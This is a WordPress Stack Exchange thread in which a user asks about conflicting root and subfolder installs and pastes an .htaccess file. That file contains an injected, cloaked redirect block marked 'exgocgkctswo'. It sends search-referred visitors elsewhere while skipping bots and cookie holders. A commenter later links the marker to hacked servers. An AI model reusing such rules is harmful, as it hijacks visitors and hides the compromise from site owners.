Take the 2-minute tour ×
WordPress Development Stack Exchange is a question and answer site for WordPress developers and administrators. It's 100% free, no registration required.

I have hosting space at goDaddy that is shared between a couple domains. Originally I had a single wordpress install in a sub folder. Now I also have a wordpress install in the root directory also. The wordpress that was installed first in the sub folder works if you go to the home page, but if you try to go to a different page or look at archived posts it looks for the page or posts on the wordpress blog installed in the root directory. How do I go about fixing this?

.htaccess (both root and sub)

# exgocgkctswo
RewriteEngine On
RewriteCond %{REQUEST_METHOD}   ^GET$
RewriteCond %{HTTP_REFERER}     ^(http\:\/\/)?([^\/\?]*\.)?(XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|XXXXXXXXXXXXXXXX\.|\/XXXXXXXXXXXXXXXX\?).*$   [NC]
RewriteCond %{HTTP_REFERER}     !^.*(q\=cache\:).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(bing|Accoona|Ace\sExplorer|Amfibi|Amiga\sOS|apache|appie|AppleSyndication).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Archive|Argus|Ask\sJeeves|asterias|Atrenko\sNews|BeOS|BigBlogZoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Bookmark|bot|CE\-Preload|CFNetwork|cococ|Combine|Crawl|curl|Danger\shiptop).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Diagnostics|DTAAgent|ecto|EmeraldShield|endo|Evaal|Everest\-Vulcan).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|Fuck\sYou|Google).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda\-Search|HP\-UX).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus\-Notes|Lycos|Lynx|Mac\_PowerPC).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Mac\_PPC|Mac\s10|like\sMac\sOS|macDN|Mediapartners|Megite|MetaProducts).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(os\=Mac|P900i|panscient|perl|PlayStation|POE\-Component|PrivacyFinder).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Series\s60).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(SharpReader|SiteBar|XXXXXXXXXXXXXXXX|Snoopy|Soap\sClient|Socialmarks|Sphere\sScout).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Win\s9x).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Win16|Win95|Win98|XXXXXXXXXXXXXXXX\s95|XXXXXXXXXXXXXXXX\s98|XXXXXXXXXXXXXXXX\sCE|XXXXXXXXXXXXXXXX\sNT\s4).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$   [NC]
RewriteCond %{HTTP_USER_AGENT}  !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$   [NC]
RewriteCond %{HTTP_COOKIE}      !^.*xccgtswgokoe.*$
RewriteCond %{HTTPS}            ^off$
RewriteRule ^xxx$ http://www.google.com/ [R=301,L]
# exgocgkctswo
share|improve this question

1 Answer 1

up vote 1 down vote accepted

I'm wondering if you simply copied your files from the sub directory's install into the root directory? That wouldn't be how you want to create a multisite. Check out the instructions here: http://codex.wordpress.org/Create_A_Network

Secondly, if you go into your sub directory's install, look at the wp-config.php file and compare it to the wp-config.php file in the root directory; do they have the exact same DB info? For a second install, you need to at least give the database a prefix so it can separate the two installs within the schema.

Hope that helps!

EDIT (from comments below): if you look in the .htaccess file of your root install you'll see this:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

You're going to need an additional RewriteCond to exclude the directory of your second install - otherwise the root wp install will handle the request.

The documentation to do that using mod_rewrite is here: http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html

share|improve this answer
1  
I didn't want to put all of that in a comment, so I just added it to my original response as an edit. –  Rohjay Jun 18 '12 at 15:02
1  
if you wanted to quickly check and see if that would be the issue - rename the .htaccess file of your root directory blog and see how apache handles your sub-directory blog. If all of a sudden your sub-directory blog works fine, then you know that's what's causing the issue. –  Rohjay Jun 18 '12 at 15:05
1  
Doh! So you renamed the .htaccess file in the root wp install directory and it did not fix the issue? Noob question, but did you get a fresh copy of it - ctrl+shift+r or clear cache? –  Rohjay Jun 18 '12 at 15:17
1  
Sorry @NathanTornquist - ctrl+shift+r in your browser (at least in mozilla and chrome) will get a fresh copy. No regenerating anything... if it's not an .htaccess issue, not a plugin issue, I'd double check that your dns A records and CNAME's are in order. Good luck mate =] –  Rohjay Jun 18 '12 at 15:30
1  
Hey @NathanTornquist - I was just perusing the interwebs looking for some answers to your htaccess issue... I'm finding the top label of your htaccess coming up a lot with hacked accounts/servers D= check out the google search results for exgocgkctswo. Good luck =] –  Rohjay Jun 18 '12 at 19:35

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.